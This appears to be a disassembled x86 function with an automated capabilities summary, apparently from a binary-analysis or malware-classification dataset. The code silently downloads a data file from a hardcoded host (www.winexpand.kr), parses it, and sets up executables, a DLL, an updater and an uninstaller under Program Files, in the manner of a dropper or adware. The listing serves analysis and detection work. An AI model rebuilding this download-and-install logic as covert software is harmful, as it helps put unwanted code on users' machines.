Function at 0x10006b3c
Capabilities:
Check if process is running under wine
Contain obfuscated stackstrings
Delete file
Download url
Get common file path
Get program files directory
Receive data

Disassembly:
mov eax, 0x1002777c
call fcn.10011854
sub esp, 0x278
mov eax, dword [0x10034f94]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], edi
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x38], eax
push str.WinExpandSelectTemp.Dat
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.1001ddf8
mov esi, 0x104
lea eax, [ebp - 0x180]
push esi
push ebx
push eax
mov byte [ebp - 4], 3
call fcn.10011a00
add esp, 0xc
lea eax, [ebp - 0x180]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x180]
lea ecx, [ebp - 0x18]
push eax
call fcn.1001df13
mov eax, dword [ebp - 0x18]
mov eax, dword [eax - 8]
cmp eax, ebx
jne 0x10006bc0
xor esi, esi
jmp 0x10006eea
push str.www.winexpand.kr
lea eax, [ebp - 0x24]
push str.http:___s_app_inc_WinExpandSelect.dat
push eax
call fcn.1001d2f1
add esp, 0xc
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], 5
jge 0x10006bb9
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1001dfb9
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x14]
call fcn.1001dd8a
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1001dfb9
mov eax, dword [eax]
lea ecx, [edi + 0x18]
push ecx
push ebx
push eax
push dword [ebp - 0x24]
push ebx
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x1c], eax
call fcn.1001dd8a
cmp dword [ebp - 0x1c], ebx
je 0x10006c40
inc dword [ebp - 0x10]
jmp 0x10006bd9
mov eax, dword [0x10034f94]
mov dword [ebp - 0x2c], eax
push esi
lea eax, [ebp - 0x284]
push ebx
push eax
mov byte [ebp - 4], 4
call fcn.10011a00
add esp, 0xc
lea eax, [ebp - 0x284]
push ebx
push 0x26
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x284]
lea ecx, [ebp - 0x2c]
push eax
call fcn.1001df13
lea ecx, [ebp - 0x78]
call fcn.10022554
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.1001dfb9
mov eax, dword [eax]
push ebx
push ebx
push eax
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 6
call fcn.100225c9
lea ecx, [ebp - 0x1c]
mov esi, eax
mov byte [ebp - 4], 5
call fcn.1001dd8a
cmp esi, ebx
je 0x10006ecf
mov eax, dword [0x10034f94]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 7
call fcn.10022d70
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x78]
push eax
call fcn.100227ac
test eax, eax
jle 0x10006ebb
push ebx
push 0x100336d0
lea ecx, [ebp - 0x10]
call fcn.1001cf79
mov edi, eax
cmp edi, ebx
jl 0x10006ebb
mov esi, str..exe
push edi
lea eax, [ebp - 0x14]
push ebx
push eax
lea ecx, [ebp - 0x10]
call fcn.1001cdbf
inc edi
lea ecx, [ebp - 0x10]
push edi
push ebx
mov byte [ebp - 4], 8
call fcn.1001cb2c
lea ecx, [ebp - 0x64]
call fcn.10006f2a
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x1c]
push str.SOFTWAREWinExpand_
push eax
call fcn.1001e093
push eax
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0xa
call fcn.1001dec3
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 9
call fcn.1001dd8a
push dword [ebp - 0x14]
lea eax, [ebp - 0x5c]
push dword [ebp - 0x2c]
push str._sWinExpand__s_
push eax
call fcn.1001d2f1
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push str.WinExpandUpdate_
push eax
call fcn.1001e093
push eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0xb
call fcn.1001dec3
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 9
call fcn.1001dd8a
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x40]
push str.WEUninstall_
push eax
call fcn.1001e093
push esi
push eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0xc
push eax
call fcn.1001e01f
push eax
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0xd
call fcn.1001dec3
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xc
call fcn.1001dd8a
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 9
call fcn.1001dd8a
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x44]
push str.WinxpendUP_
push eax
call fcn.1001e093
push esi
push eax
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 0xe
push eax
call fcn.1001e01f
push eax
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0xf
call fcn.1001dec3
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xe
call fcn.1001dd8a
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 9
call fcn.1001dd8a
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x48]
push str.WinExpand_
push eax
call fcn.1001e093
push str..dll
push eax
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x10
push eax
call fcn.1001e01f
push eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x11
call fcn.1001dec3
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x10
call fcn.1001dd8a
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 9
call fcn.1001dd8a
sub esp, 0x18
lea eax, [ebp - 0x64]
mov ecx, esp
mov dword [ebp - 0x7c], esp
push eax
call fcn.10006fca
mov ecx, dword [ebp - 0x34]
call fcn.100064df
push ebx
push 0x100336d0
lea ecx, [ebp - 0x10]
call fcn.1001cf79
lea ecx, [ebp - 0x64]
mov edi, eax
mov byte [ebp - 4], 8
call fcn.10006f62
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 7
call fcn.1001dd8a
cmp edi, ebx
jge 0x10006d06
lea ecx, [ebp - 0x78]
call fcn.100228f9
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 5
call fcn.1001dd8a
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 4
call fcn.10022586
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.1001dd8a
push 1
pop esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.1001dd8a
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 1
call fcn.1001dd8a
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.1001dd8a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.1001dd8a
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret